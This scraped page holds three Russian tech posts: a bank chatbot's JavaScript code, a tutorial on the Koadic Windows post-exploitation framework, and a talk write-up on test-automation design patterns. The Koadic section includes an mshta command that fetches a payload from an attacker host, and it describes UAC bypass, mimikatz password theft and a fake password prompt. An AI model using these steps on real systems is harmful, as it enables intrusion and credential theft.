                      	if (/^[0-9]{4}$/.test(result.response)) {
                          return auth.makeUnauthRequest({
                          url: '/login',
                          method: 'POST',
                          body: {
                                  	password: result.response,
                                  	login: session.userData.email
                          }
                          }, (err, res, body) => {
                          if (err) {
                                          console.error(err);
                                  	return session.replaceDialog('/error');
                          }
           
                           if (body.status >= 300 || res.statusCode >= 300) {
                              console.error(body);
                           	return session.replaceDialog('/promptName', session.userData);
                            }
           
                            session.userData.code = result.response;
                            session.userData.id = body.id;
                            session.userData.permissions = body.permissions;
                               session.userData.authToken = body.authToken;
           
                                  session.userData.allowToVote = !_.isEmpty(body.permissions)
                                  	&& (body.permissions.indexOf("PERM_VOTE") !== -1
                                  	|| body.permissions.indexOf("PERM_ALL") !== -1);
           
                              	return auth.makeAuthRequest({
                                  	url: '/login',
                                  	method: 'GET',
                                  	authToken: body.authToken
                              	}, (err, res, body) => {
                                  	if (err) {
                                        console.error(err);
                                      	return session.beginDialog('/error');
                           	}
           
                                  	if (!_.isEmpty(body) && !_.isEmpty(body.name)) {
                                        session.userData.name = body.name;
                                      	return session.endDialogWithResult(session.userData);
                      	                }
                                          return session.replaceDialog('/promptName', session.userData);
                              	});
                          	});
                      	        }
           
                      	         return session.replaceDialog('/promptCode', {reprompt: true});
                  }
              	];
          	}
          ``

          При взаимодействии с чатом или веб-формой можно получить информацию об отчетах без авторизации в системе. Чат-бот предлагает оценить отчет и написать комментарий всем клиентам. Но сделать это смогут лишь пользователи, прошедшие проверку подлинности. В противном случае бот высылает запрос на аутентификацию, как показано в следующем фрагменте кода.

          ``js
          rate() {
              	return [
                  (session) => {
                      	if (_.isEmpty(session.userData.authToken) && !_.isEmpty(this.socket.actualPoll)) {
                          session.send('Чтобы оценить выступление, вам следует войти в свой аккаунт.\n\n' +
                          'Просто напишите `/start` и начнём! ');
           
                          return session.endDialog();
                    }
           
                      	if (!session.userData.allowToVote) {
                          session.send('У вас не хватает привилегий для оценивания выступлений');
                          return session.endDialog();
                      	   }
           
                          Prompts.choice(session, ' Оцените выступление', RATES);
                  },
                  (session, res) => {
                      	if (res.response) {
                          let result = parseInt(res.response.entity, 10) || res.response.entity;
           
                          if (!_.isNumber(result)) {
                          result = RATES[result.toLowerCase()];
                          }
           
                          return auth.makeAuthRequest({
                          url: `/polls/${this.socket.actualPoll.id}/vote`,
                          method: 'POST',
                                body: {
                                  	myRating: result
                          },
                          authToken: session.userData.authToken
                          }, (err, response, body) => {
                          if (err) {
                               console.log(err);
                                  	return session.beginDialog('/error');
                           } else if (body.status === 403) {
                                session.send('У вас недостаточно прав на выполнение данной операции, простите ');
                           } else {
                                console.log(body);
                                session.send('Выступление успешно оценено ');
                           }
           
                           return session.endDialog();
                           })
                      	}
           
                      	session.endDialog();
                  }
              	];
          	}
          ``

          Помимо прочего, чат-бот может подсказать вам следующие шаги. Это особенно важно для клиентов, использующих бота в качестве основного способа общения с системой.

          ``js
          	help() {
              	return [
                  (session) => {
                      	const keys = _.keys(commands);
                      	const result = _.map(keys, (v) => (`**/${v}** - ${commands
                          session.send(result.join('\n\n'));
                      	session.endDialog();
                  }
                  ];
          	}
          ``

          Продолжение следует?


          Можно констатировать, что наш эксперимент с Bot Framework от Microsoft по внедрению искусственного интеллекта в банковскую сферу завершился успешно. Стоит добавить, что проект полностью реализован одним разработчиком в течение недели. За это время был создан полноценный чат-бот с ботовой панелью, размещенной в Azure, а также поддержкой Application Insights и некоторыми полезными пользовательскими настройками в логике Bot.

          image
          Фото letzgro.net

          Впрочем, лучше один раз увидеть. Экспериментальный чат-бот уже заступил на службу в нашем банке. Так что предлагаем вам при возможности посетить одну из наших конференций, чтобы протестировать и оценить работу этого маленького виртуального помощника на практике.
          Original source: habrahabr.ru (comments, light).

          https://habrahabr.ru/post/338888/


          Метки:  

          Koadic — как Empire, только без powershell

          Четверг, 28 Сентября 2017 г. 13:37 + в цитатник
          antgorka сегодня в 13:37 Разработка

          Koadic — как Empire, только без powershell

          • Tutorial


          В данном тексте речь пойдет про фреймворк Koadic, предназначенный для проведения пост-эксплуатации в ОС семейства Windows всех поколений, поскольку не требует для своей работы наличия powershell в системе.

          Установка и архитектура


          Клонируем официальный репозиторий с GitHub.

          git clone https://github.com/zerosum0x0/koadic.git

          После установки запускаем koadic и попадаем в меню



          По структуре и принципу работы koadic очень похож на Powershell Empire.

          Сначала от жертвы требуется выполнить какое-то действие, чтобы мы получили сессию.
          Далее используется модуль для преодоления защиты User Acces Control (UAC) и уже после этого запускаются на выполнение другие модули.

          Таким образом можно разделить модули Koadic на Stagers и Implants. На скриншоте выше вы можете видеть, что в моей версии доступно 4 стейджера (способ доставки имплантов) и 29 самих имплантов, что и является модулями, которые «делают что-то полезное».

          При запуске по-умолчанию выбирается стейджер stager/js/mshta. Этот модуль не будет ничего писать на диск и для запуска имплантов использует .hta скрипты и, соответственно, процесс MSHTA.exe.

          Есть и другие стейджеры, например stager/js/rundll32_js, который использует, как и следует из названия rundll32.exe вместо mshta.exe.

          Что касаетя имплантов, то здесь у нас довольно большой выбор.

          Помимо модулей преодоления UAC нам доступны модули, позволяющие читать содержимое буфера обмена, дампить SAM и NTDS, запускать mimikatz, естественно, выполнять команды в CMD, сканировать хосты в сети на наличие открытых портов и другое.

          Полный список стейджеров и имплантов можно посмотреть на официальном сайте.

          Примеры использования


          После запуска можно выполнить команду help и получить такой список



          Чтобы посмотреть параметры текущего модуля, нужно выполнить команду info



          Если нас что-то не устраивает, то можно задать параметр при помощи команды set



          Командой run запускаем стейджер.



          Далее жертва должна выполнить команду

          mshta http://192.168.1.3:1234/BFIER


          Для демонстрации я выбрал старый Windows 2000 (IP 192.168.1.7).
          После выполнения команды я получаю сессию в Koadic.



          При выполнении той же команды на русифицированной Windows 7 (IP 192.168.2.2) я получил ошибку преобразования ASCII, вероятно из-за русских символов.



          Командой zombie получаем список доступных для пост-эксплуатации хостов.



          Чтобы получить более развернутую информацию, добавим ID к команде



          Так как это Windows 2000, нам не нужно использовать модули для преодоления UAC. Так что просто попытаемся выполнить команду операционной системы через нашу сессию Koadic.



          Команда отработала корректно.

          Попробуем другой стейджер, например stager/js/regsvr на англоязычной Windows 7



          После выполнения указанной команды, получаем сессию в Koadic, а далее можем использовать модуль для преодоления защиты UAC



          Далее можно воспользоваться, например mimikatz



          И получили пароли пользователей.

          Есть и более «творческие» импланты, например implant/phish/password_box, который показывает пользователю окно с произвольным текстом и просит, ввести пароль.



          И получаем в Koadic сообщение



          Конечно, на все модули фреймворка работают безотказно, но, тем не менее, его можно использовать как альтернативу Empire, если ситуация того требует, а неработающие модули заменить на серию команд операционной системы, которые нам доступны через рабочие модули Koadic.
          Original source: habrahabr.ru (comments, light).

          https://habrahabr.ru/post/338876/


          Метки:  

          Паттерны проектирования в автоматизации тестирования

          Четверг, 28 Сентября 2017 г. 13:29 + в цитатник
          sinnerspinner сегодня в 13:29 Разработка

          Паттерны проектирования в автоматизации тестирования

            «Нельзя просто так взять и написать классный тест. Один тест написать можно, но сделать, так чтобы по мере того, как количество этих классных тестов росло, как количество людей, которые пишут эти классные тесты, и вы не теряли ни в скорости, ни во времени...»

            Эта мысль красной нитью пойдет сквозь материал под катом, и она, пожалуй, требует пояснения. Статья основана на докладе Николая Алименкова, к которому он подошёл не просто прогретым, а горящим после дискуссии с Алексеем Виноградовым о подходах к написанию тестов: методом прямого кода или при помощи паттернов. Нужны ли какие-то еще паттерны, кроме PageElement, Steps, PageObject?! С чего кто-то решил, что паттерны усложняют код, заставляют нас тратить время на создание ненужных (?) boilerplate-простыней? SOLID вам не угодил? А ведь все они создавались с учётом всего накопленного опыта сообщества разработчиков и они знали, что делают.

            Николай xpinjection Алименков – известный Java-разработчик, Java техлид и delivery-менеджер, основатель XP Injection. В настоящее время является независимым разработчиком и консультантом, Agile/XP коучем, спикером и организатором различных конференций

            Автоматизация тестирования имеет собственный набор задач, так что существует и набор полезных паттернов проектирования для этой области. В докладе Николай рассказывает обо всех известных паттернах и подробно описывает их с практическими примерами.





            В основу этого материала легло выступление Николая Алименкова на конференции Heisenbug 2017 Piter под названием «Паттерны проектирования в автоматизации тестирования». Слайды здесь.


            Дизайн-паттерны – достаточно спорная тема. Если погуглить этот вопрос, найдется множество других примеров дизайн-паттернов в автоматизации проектирования, которых нет в этой презентации. В этом материале хотелось бы собрать все паттерны, накопленные за 13 лет личной практики, с которыми пришлось сталкиваться лично. В презентацию не включены паттерны, которые автор считает сомнительными, не полезными или с которыми он не сталкивался. В то же время эта презентация со временем расширяется новыми примерами.

            Но сначала – краткое определение паттернов проектирования.

            Что такое дизайн-паттерн (Design Pattern), зачем эта штука существует?  




            Не существует такого понятия как «хороший дизайн-паттерн», «плохой дизайн-паттерн». Сам термин «дизайн-паттерн» был придуман в качестве формулировки проблемы и предложенного решения. Поэтому для каждого встреченного вами паттерна – в разработке, в тестировании, еще в чем-то, если вы не разделяете проблему, для которой он был придуман – это не значит, что он плохой или «вышел из моды», просто он для вас не подходит. Если ваша проблема каким-то образом совпадает и накладывается на этот дизайн-паттерн, значит, вам стоит его рассмотреть.

            Таким образом важно не просто приносить дизайн-паттерны в свой проект только потому, что вы о них услышали, важно понимать их назначение, проблематику, как и чем они могут вам помочь.



            Проблем в автоматизации проектирования и разработке множество, и сталкиваясь с этими проблемами, люди формулировали паттерны. Изначально классические паттерны были сформулированы давным-давно четверкой, которая выпустила книгу Design Patterns.
            В книге сформулированы все паттерны, с которыми они сталкивались в то время в объектно-ориентированном мире. Есть проблема – есть ее решение, и долгое время эта концепция дизайн-паттернов росла и развивалась, пополняясь новыми паттернами.

            Сегодня просматривается тенденция появления подобных паттернов в других областях, в которых накопилась проблематика.



            Основными драйверами практически всех паттернов в автоматизации тестирования являются факторы на слайде выше: надежность, понятность, гибкость, поддерживаемость, стабильность и другие подобные факторы, которые вам важны в ваших тестах.

            Большая часть этих факторов находится под влиянием разделения концепции: в любом вашем тесте – функциональном, интеграционном, unit-тесте — всегда присутствует три компонента: тестовая логика, тестовые данные и application driver, или technical details, technical parts – часть, отвечающая за непосредственное взаимодействие с вашим приложением, вашим кодом (вызов функций, клики на экран и т. п.).  

            Если эти части хорошо разделены, ваши тесты начинают хорошо попадать в выше упомянутые факторы, потому что в этом случае ими гораздо проще манипулировать, гораздо проще их понимать и поддерживать.

            Все паттерны я разделил на несколько групп.

            Структурные паттерны – Structural Patterns


            Первая группа – это cтруктурные паттерны, основная задача которых сводится к структурированию кода наших тестов — чтобы упростить поддержку, избежать дубликатов и проблем с запутанностью. Таким образом, тестовым инженерам, работающим с теми же проблемами, будет проще понять их и изменить, и проще поддерживать.



            Первая группа таких паттернов – это Page Object. Зачем он нужен, какова проблематика?
            Первая часть проблематики: у нас есть логическая структура нашего приложения, и когда мы пишем тесты в коде, мы не совсем понимаем, где именно мы сейчас находимся – мы же не видим UI непосредственно со своим тестом. Где я нахожусь после шага 15, на какой странице, какие действия могу там сделать, могу ли, например, после 15 шага вновь вызвать log in?  

            Вторая часть проблематики: я бы хотел разделить технические детали (в данном случае, говоря про web, это элементы в браузере, элементы, выполняющие ту или иную функциональность), разнести и унести их из логики своих тестов, чтобы логика тестов осталась чистой и прозрачной, а эта информация хранилась где-то в другом месте.

            Наконец, последний фактор: я хотел бы впоследствии многократно использовать тот код, который я вынес в эти страницы. Потому что если множество сценариев проходит через одни и те же страницы, то будет вполне логично, если я, написав этот код один раз, больше никогда в жизни не буду писать этот код самостоятельно руками, я его буду вызывать, что, соответственно, значительно упростит написание моих тестов.

            Вот три проблемы, которые помогает решать Page Object. Если у вас только пара тестов, у вас нет этой проблемы – просто нет масштаба, на который вы можете это применить. Если у вас пять – десять – пятнадцать тестов, у вас эта проблема может быть и может не быть. Поэтому вы должны понимать, соответствует ли этот паттерн тому, что вы делаете.



            Давайте быстро «пробежимся» по Page Object. У нас есть какая-то страница с какими-то элементами, неважно, чем вы их помечаете (в данном примере с помощью аннотаций @FindBy). Вы можете использовать любые аннотации, которые вам нравятся. Я вынес все элементы этой логической страницы в одно отдельное место, снабдив ее дополнительно доменными методами, которые теперь выглядят таким образом:  



            Например, теперь у меня есть доменный метод registerAccount, я приведу туда userName и количество денег (amount), и благодаря этому в одно поле я ввожу имя, в другое поле ввожу количество денег, нажимаю кнопку и у меня создаётся новый аккаунт. Или, например, ввести первую букву имени (пример ниже).

            Таким образом, тест выглядит очень просто, в тесте всего этого нет, оно вынесено, тестовая логика очистилась. Мы получили то, ради чего этот паттерн был придуман.
            Это самый простой паттерн. Идем дальше.

            Fluent/Chain of invocations


            Следующая проблематика, которую вы хотите решить – когда вы вызываете что-нибудь, например, на login page. Можете ли вы далее вызвать что-нибудь на login page или нет? Вы не знаете.
            Теперь представьте себе, что на какой-то странице у вас есть, например, 50 методов. И вы не понимаете, могут ли они все сразу вызваться, или можно вызывать только некоторые из них, а потом уже другие. К примеру, могу ли я работать с диалогом показа имен, если я еще не ввел никакой буквы и не вывалилась автоподсказка? Наверно, нет, потому что этого диалога пока как бы не существует.

            Эта проблематика важна, когда у вас начинает накапливаться количество страниц, количество элементов, количество методов внутри, и вы хотели бы выстраивать определенный поток ваших действий. Каждый раз, когда вы хотели бы сделать следующее действие, у вас бы появлялась автоподсказка, и все было бы понятно.



            Поэтому, вместо кода, где вы говорите «accountsPage, введите первую букву, accountsPage, подожди подсказок, accountsPage, выбери первое имя» — заметьте, здесь я спокойно могу менять их местами, и ничто не подскажет мне, что я пишу что-то неправильно, ошибку сделать достаточно просто.

            Вместо этого предлагается использовать вот такой подход, где каждый раз, когда вы выполняете какое-то действие, вам возвращают контекст, в котором вы находитесь. Это может быть та же страница, перегруженная страница, другая страница, логический компонент или еще что-то.    

            Обычно, если вы хотите прервать эту цепочку, в этом методе вы даете какое-либо значение, например, строку, число или что-то еще, тем самым намекая, что дальше двигаться нельзя. То есть это является конечной, терминальной операцией, после которой цепочку продолжать нельзя, и дальше вы должны подумать, куда хотите дальше идти, и сделать это действие руками.

            Реализуется это очень просто – в своих page objects или других местах, где можно применить этот паттерн, вы используете возвращаемое значение, которое может быть this или любой другой объект, с которым вы дальше хотите продолжить работу.

            Код не то чтобы становится мега-компактным – из него убираются некоторые дубликаты (в данном случае, убирается кусочек, где каждый раз говорится на какой странице вы находитесь), и он становится более понятным и прозрачным.



            Factory/Page Factory


            Следующий паттерн – это Page Factory, или просто Factory, потому что он может применяться не только к страницам. Возник этот паттерн потому, что иногда, чтобы инициализировать вашу страницу, необходимо сделать больше действий, чем просто сказать «new page» или open, или еще что-то. То есть у вас в этой странице скрыта еще какая-то дополнительная логика, и вы хотите ее куда-то зарегистрировать, инициализировать ее элементы и так далее.

            В этот случае вам бы хотелось, чтобы эта информация была скрыта от того, кто создает эту страницу, чтобы она была спрятана – это техническая информация, которая никому не важна.
            Именно здесь применяется подход Factory. В данном случае у меня действует такой подход: я говорю «new MainPage», передаю туда драйвер и потом говорю «страница, откройся». Если бы я хотел сделать что-то дополнительное на этом открытии, мне нужно было бы либо занести это в метод open, который стал бы factory-методом, потому что он открывал бы эту страницу, инициализируя ее и делая ее новой, либо мне нужно было бы внести это в конструктор, что может быть тоже не очень хорошо.

            Поэтому есть альтернативный подход – когда вы просто указываете вашу фабрику (я для примера привел здесь классическую Page Factory, которая есть в Java для web-драйвера), вы можете просто заказать Page Factory, Init elements, и у вас на выходе получится экземпляр класса этой страницы со всеми инициализированными элементами, которые есть в этой странице.

            Дополнительный фактор, который будет здесь работать – это инициализация всех элементов. Я могу открыть так любую страницу, и мне не обязательно начинать с главной страницы.

            «Фабрики» есть разные. Вы можете написать свои, можете использовать фабричные методы – важно понимать суть, для чего это делается.

            Page Element/Composite List of Items Link Menu Panel Checkbox




            Любое важное веб-или десктоп-приложение состоит из повторяющихся элементов, к которым вы снова и снова пишете логику ваших в ваших тестах. Когда вы начинаете работать с табличкой, у нас всегда есть меню, чекбоксы. Когда мы работаем с нашими тестами, вряд ли мы думаем об этих верхних ссылках как о живущих в своей отдельной реальности и не связанных друг с другом. Мы все понимаем, что это меню, мы понимаем, что это панель с расположенными на ней элементами, ссылка, список элементов и так далее.

            Благодаря этому пониманию мы можем существенно сократить затраты коммуникацию с элементами – потому что если мы один раз реализовали меню и всю логику работы с ним, то легко можем сильно упростить и сделать usable-компоненты, которым потом можно использовать повторно, сократив время на разработку тестов.

            No duplicated code


            Проблематика в том, что мы видим дубликаты, встречающиеся повсеместно, и мы хотим эти дубликаты устранить.



            Так появляется паттерн Page Element, который говорит, что вместо прежней страницы у нас будет улучшенная, на которую вместо полей name, amount и так далее вставляются высокоуровневые виджеты. Первый из них – это форма, которая умеет делать действия, характерные для всех форм, — такие как submit, «введи в поле значение», validate так далее, второй – табличка.

            С табличками все обстоит интереснее, поскольку в них есть заголовок, колонки, строки. Есть множество доменных команд, которые присущи всем таблицам без исключения, как бы они ни были реализованы и как бы ни выглядела эта таблица в браузере. Если вы имеете такую табличку, то расположив элементы таким образом, вы очень сильно упрощаете работу с вашей страницей.



            С моей точки зрения, следующий паттерн довольно сомнительный, но я знаю точно, что многие его используют.

            Loadable Component


            Проблематика заключается в том, что когда вы переходите на какую-нибудь страницу, уже давно в том же web-драйвере нет понятия «перезагрузки страниц». Плюс, у нас все больше так называемых одностраничных приложений, в которых такое понятие как «перезагрузка страницы» отсутствует вовсе.

            Это значит, что когда вы открываете логическую страницу и собираетесь работать с каким-либо элементом этой страницы, по-хорошему вам следует дождаться и убедиться, что эта страница логически загружена. Получается, что после каждого вашего действия вы должны делать своеобразный wait чего-то, то есть ожидания чего-то. Зачастую такого wait не делают, потому что многие рассчитывают, что за вас это сделает фреймер. Например, в web-драйвере есть понятие implicit wait, и за вас – если что, неявно дождутся того элемента со стороны браузера, с которым вы будете работать.

            Некоторые говорят «ОК, мне этого достаточно», но если implicit wait маленький и это не работает для вас, появляется так называемый explicit wait, когда вы основательно ждете чего-то, и получается, что теперь в вашу тестовую логику после каждого такого хорошего действия, которое меняет логическую страницу, дополняется еще wait: что-то сделали – wait, что-то сделали – wait.
            Такой шаблон очень сильно загружает вашу тестовую логику, потому что у вас нет в самом описании теста, вы просто говорите «перейди на ту страницу» и уже туда включаете это ожидание.

            Для того чтобы этого избежать, вы можете каждую страницу, которую вы делаете, отнаследовать от loadable component и перегрузить метод из loaded, благодаря чему скроете это ожидание и специфицируете его для каждой страницы внутри самой страницы. В этом случае у вас будет инкапсулированная логика в одном месте – если вы одну и ту же страницу будете в пяти местах вызывать и нигде больше этот wait руками писать не придется. Вот для чего придуман и существует этот паттерн.

            Почему он спорный? С моей точки зрения, большинство все же полагается на поведение по умолчанию с implicit wait-ами и большинству этого хватает. Так что нужно смотреть, в каком контексте он применим.



            Следующий паттерн под названием Strategy нужен, когда мы хотим иметь несколько реализаций одного и того же – либо последовательностей, либо действий. Мы можем подставлять туда эту реализацию в зависимости от контекста.

            Это может использоваться, например, в валидации: у вас есть некий абстрактный метод validate для него непосредственно вы применяете эту стратегию. Также это может быть какой-либо вычислительный алгоритм: вы можете использовать сложный или простой алгоритм, но при этом не хотите напрямую вписывать его в ваш код и получить гибкость в подстановке конкретной реализации конкретной стратегии.   

            В данном конкретном случае – на слайде выше есть стратегия по регистрации пользователя. Первая реализация этой стратегии использует для этого браузер – она открывает страничку и выводит поля, кнопку «зарегистрировать», получая ID на выходе из URL и возвращая нам объект юзера, а вторая идет через API.

            Как вы думаете, какая быстрее?

            Наверняка вторая: хочу ли я везде прописывать этот код руками, если я потом решил поменять его на 97%? Наверно, нет.

            Возможно, его необходимо поменять не везде – ведь где-то действительно нужно проверять регистрацию пользователя, если я не проверю через web, то будет все печально. Поэтому я бы хотел в каких-то местах использовать одну стратегию, а в других – другую стратегию, и я могу это спокойно сделать, потому что сама логика тестов будет полагаться на интерфейс, который не говорит, какая это реализация, и будет использовать ту реализацию, которую я подставлю во время тестов.

            За счет этого я получил гибкость и разделение концепции, а также упростил жизнь тем, кому потом нужно будет все это поддерживать.  
             

            Паттерны данных – Data Patterns


            Как вы видели на изначальной картинке – для чего мы все это делаем — там был треугольник с данными. Мы хотели бы как можно дальше оттащить данные и управление данными от тестовой логики, для того, чтобы убрать количество так называемого boilerplate code – мусорного кода, засоряющего наши тесты. Благодаря этому логика станет еще более прозрачной, ее будет легче поддерживать тем, кто пишет эти автотесты.

            Такова мотивация всех паттернов данных.

            Value Object


            Первый паттерн этой группы – очень простой, думаю, все вы им пользовались, но к моему большому сожалению, я видел много проектов, где этим пренебрегают, и в итоге получается очень сложно.



            Суть паттерна такова: если у вас есть несколько объектов, объединенных между собой логически (в данном примере есть registerUser, и мы передаем туда пять параметров – имя, фамилию, возраст, роль и прочее). Я лично видел методы, в которых делали около ста параметров, и спокойно с этим жили, насколько это было удобно – остается только догадываться. Параметры были логически указаны, но нигде этой связи указано не было.

            В данном случае это можно трансформировать, введя дополнительный ValueObject, который называется вполне логично user, и который агрегирует в себе всю эту информацию.

            Почему ValueObject? Он Immutable: после того, как он создается, его нельзя изменить, потому что в этом его задача, он служит для передачи данных из точки А в точку Б, а не для того чтобы быть модифицируемым или нести сторонние эффекты.

            Чтобы упростить создание и работу вот таких пользователей, если вы работаете с Java, вы можете воспользоваться инструментом LongBox, который легко позволит делать компактные элементы, используя только геттеры для получения данных; если вам необходимы конструкторы – точно так же генерируются любые конструкторы в любом количестве, не обязательно писать этот код руками.

            Builder


            Следующий паттерн – это Builder. Предположим, у нас есть большой объект, и этот объект может быть сконфигурировано совершенно по-разному. Можно пойти первым способом и добавить столько конструкторов, сколько вариаций у вас есть, и каждый раз, когда вы встречаетесь с новой вариацией, вы можете добавлять новый конструктор. В итоге вы будете иметь 100500 конструкторов, и будет совершенно непонятно, когда какой вызывать.



            Чтобы упростить это, сделать конструкторы более понятными и добавить возможность автоподсказки того, что еще можно сконфигурировать, используется паттерн Builder, реализация которого выглядит следующим образом.

            Мы берем Builder по кластеру, и в данном случае используем доменные методы для конфигурирования этого кластера – добавляем к нему ContactPoints, порт, количество попыток ретрая, конфигурацию метрик, и после этого в конце мы говорим build и в конце получаем наш объект, который далее мы можем использовать в наших автотестах.

            Это очень удобно, потому что вам не нужно задавать все необходимые поля – можно задать только те, которые интересны вам на текущий момент, что упрощает конфигурацию объектов, которыми вы манипулируете.

            Assert Object/Matchers


            Следующий паттерн, о котором говорят все, но применяют его очень мало людей – это Assert Object, или «матчеры». У нас есть классический подход – мы вытащили пользователей и хотим сделать на них какие-то проверки. Классический подход отличается тем, что мы делаем множество различных проверок, и все они относятся к какой-то одной доменной сущности.
             


            За этими проверками – в примере выше три строчки, нет логического названия проверки, мы теряемся, что же мы конкретно проверяем. А проверяем мы то, что в этой конкретной коллекции будет только один пользователь с определенной ролью, но мы должны разделить это на несколько проверок, потому что иначе мы не поймем, что же пошло не так: сначала мы должны убедиться, что в этой коллекции только один пользователь, и затем что у него есть такая роль. Но логически эта информация скрыта он нас, потому что мы имели ее в голове, когда писали этот assert, но теперь эта информация не воспроизводится.

            Этот дизайн-паттерн говорит о том, что нам необходимо воплощать наши ассерты в виде повторяющихся конструкций, которые позволят нам не писать такой ассерт в будущем, если он понадобится нам снова – возможно, уже в другом тесте нам потребуется проверить, что есть только один пользователь, но уже с другой ролью, или все пользователи с этой ролью, и так далее.

            Мы пытаемся избежать повторного написания кода и попутно закладываем доменную логику. Поэтому предлагается делать это таким образом: во-первых, выделяются группы ассертов, для этого можно использовать либо создание отдельных классов (в данном случае это UserAssert), который делает все возможные ассерты с юзерами, и для того, чтобы это выглядело красиво, делается либо статический метод на самом UserAssert, который говорит assertThat и таким образом возвращает вам этот ассерт, на котором вы можете делать свои дальнейшие проверки. Это выглядит красиво и читается гораздо легче чем было ранее, и все понимают, что код внутри проверки остался точно такой же, только стал доступен для повторного использования.

            Можно было бы делать для этого статические методы, это целое отдельное направление, которое реализует библиотека Hamcrest и другие библиотеки Fast assert, которые, пользуясь этим подходом, позволяют вам делать цепочки из ваших ассертов и писать свои собственные ассерты, которые можно использовать повторно.

            Для базовых циклов написано уже огромное количество ассертов, писать их с нуля не нужно. Здесь же идет речь о ваших бизнес-ассертах – о тех группировках таких простейших функциональных ассертов базовых типов, которые формулируют вашу бизнес-задачу, что именно вы хотите проверить с точки зрения бизнеса.

            Data Registry


            Следующий шаблон более интересен. Его проблематика такая: предположим, мы в тестах начинаем использовать данные, и для того, чтобы они были независимы друг от друга, пытаемся каким-то образом отвязать их друг от друга, но в результате можем прийти к тому, что получаются зависимые тесты, которые будут «знать» о логике друг друга. Например, этот тест будет знать, что он использует user 1,2,3, и после этого он говорит «все, user 1,2,3, закреплен за мной и больше никто его не использует», хотя кто-то может попытаться скопипастить его в другое место, не зная о такой проблеме.



            Подход Data Registry позволяет вам генерировать уникальные данные и следить за их уникальностью. В данном случае мы используем простейший подход: мы спрашиваем «дай нам уникального пользователя» и используем статический инкрементальный многопоточный счетчик, который постоянно инкрементирует его на единичку, тем самым гарантируя уникальных юзеров.
            Ваш конкретный паттерн может быть гораздо сложнее, например, он может брать их из базы данных, из файла, из какого-то predefined набора юзеров, и так далее. Суть в том, что каждый, кто работает со своим тестом, прежде чем начать работу с какими-то уникальными данными, спрашивает у этого Registry юзера или какие-то другие данные, и он не знает самого алгоритма рандомизации, но всегда уверен, что получит эти данные независимо от других тестов. Тем самым возрастает защищенность тестов от ошибок в пересечении по данным.

            Object Pool/Flyweight


            Следующий паттерн знают и используют ещё меньше людей. Flyweight – это название паттерна, которое пришло из классических паттернов, и решает проблемы с объектами или наборами объектов, которые тяжеловесны в создании. Вместо того, чтобы создавать их каждый раз, мы берём их, пользуемся, и после этого они возвращаются в тот же Pool, откуда мы их взяли.



            Благодаря этому паттерну можно реализовать много интересных вещей, например, вы можете реализовать пул браузеров. Многие жалуются – наши web-тесты тормозят, потому что пока браузер поднимется, пока первая страница загрузится, пока скопируется профиль и так далее.
            Браузеры не обязательно создавать прямо в тесте, вместо этого можно использовать Background Pool, в котором настроено необходимое вам количество браузеров, и в этом пуле, когда браузер в него возвращается – вы его очищаете, делаете еще что-то, но это все происходит в бэкграунде, в параллельных с выполнением ваших тестов потоках. И только готовый к использованию браузер отдается вашему тесту, когда он запрашивает из браузерного пула новый браузер для себя.

            Благодаря этому можно вынести конфигурационную часть и время на конфигурацию браузера из времени выполнения ваших тестов и благодаря этому существенно сократить траты на подготовку браузеров или других ресурсов в самом тесте.

            Другой пример, когда вы используете страницы: не обязательно ждать, когда страница откроется, если вы всегда начинаете с одной и той же страницы. Можно иметь пул страниц и запрашивать страницу из него, что означает, что она там уже открыта и ждет вас в каком-то инстансе браузера, и вы уже начинаете свою логику с открытой страницы, а само открытие происходит в скрытом от вас бэкграундном процессе.

            Наконец, классический пример более сложного использования этого паттерна – когда вы имеете пул инстансов базы данных. Вместо того, чтобы работать с реальной базой данных, вы поднимаете необходимый набор контейнеров базы данных в необходимом количестве на разных портах, это делается очень просто с Docker или каким-то другим доступным вам инструментом виртуализации, и после того, как вы поработали с базой данных, вы ее «потушили» и в пуле подняли новую. Благодаря этому вы можете постоянно иметь чистую базу данных для работы, нет необходимости делать teardown или очистку базы, собирание и загрузку данных, и так далее.

            Data Provider


            Следующий паттерн – Data Provider, наверняка знаком всем. Если вы хотите сделать data-driven тесты, и хотели бы, чтобы одна и та же тестовая логика выполнялась с разными данными, для этого вы загружаете свои данные из какого-либо внешнего источника (в данном случае xls), либо из CSV, либо подтягиваете с какого-то сервиса, либо они у вас вшиты прямо здесь.



            Это можно сделать либо вот таким корявым способом – под «корявым» я подразумеваю нетипизированные данные, которые представляют из себя простые структуры наподобие массив-массивов или массив-строк, либо же вы можете перейти на более современный подход, который позволяет вам работать на уровне Entity, или на уровне Value Object, про которые мы говорили.



            В данном случае вы можете пометить свой метод с помощью аннотации dataProvider, это может быть ваша аннотация или G Unit 5, который позволяет реализовывать такую концепцию, и уже оттуда вернуть набор параметров для использования в тесте.

            В самом тесте вы можете указать, что dataProvider-ом является либо метод loadUsers, либо переменная, куда сохраняются эти данные. И все остальное фреймворк делает за вас – он вызывает юзера, подставляя его как параметр сюда.

            Очень важный момент – этот паттерн очень круто использовать со вторым паттерном для данных, который мы сегодня уже обсуждали – с Value Object. Если бы мы его не использовали – передавали бы пять параметров того же пользователя там, а здесь была бы очень сложная конструкция – пришлось бы собирать строчку из многих параметров это был бы объект объектов, это был бы кромешный ад при передаче. Такой подход позволяет все это значительно упростить, сделать проще и читабельнее код, и легко повторно использовать.

            Technical Patterns


            Технические паттерны служат для того, чтобы вынести технические аспекты отдельно от тестовой логики, и зачастую для обеспечения дополнительного низкоуровневого контроля над технической частью.

            Decorator


            Достаточно известный паттерн в этой области – Decorator. Если вы работаете с какими-либо техническими драйверами (web-драйвер или какой-либо еще) — и хотите добавить к нему, например, логирование или кэширование, или что-то еще. Но при этом ваши тесты не должны об этом знать. В этом случае сама логика теста остается прежней — меняется только техническая реализация.

            Поэтому вы предпочитаете пользоваться «принципом капусты» — заворачивая «листок в листок в листок», вы получаете концепцию «драйвер в драйвере в драйвере», о которой ваши тесты не догадываются: они как работали с интерфейсом драйвера, так и продолжают.



            Например, мы хотим после клика записывать куда-то в лог. Мы оборачиваем наш основной драйвер EventFiringWebDriver, регистрируем туда слушателя, и, соответственно, наши тесты об этом не знают – они как работали с интерфейсом web-драйвера, так и продолжают.
             
            Для того, чтобы наши тесты действительно об этом не знали, здесь используется вспомогательный паттерн Factory, чтобы этого не было в самой тестовой логике. Чтобы тем, кому действительно нужен браузер, говорил «Factory, дай мне браузер», и ему выдавали браузер (или драйвер). Так же можно воспользоваться пулом и получить уже сконфигурированный браузер из него.   

            Proxy


            Proxy – это паттерн, позволяющий вмешаться в процесс между вами и ещё кем-то, и внедрить туда любую логику, не затрагивая ни вас, ни его.



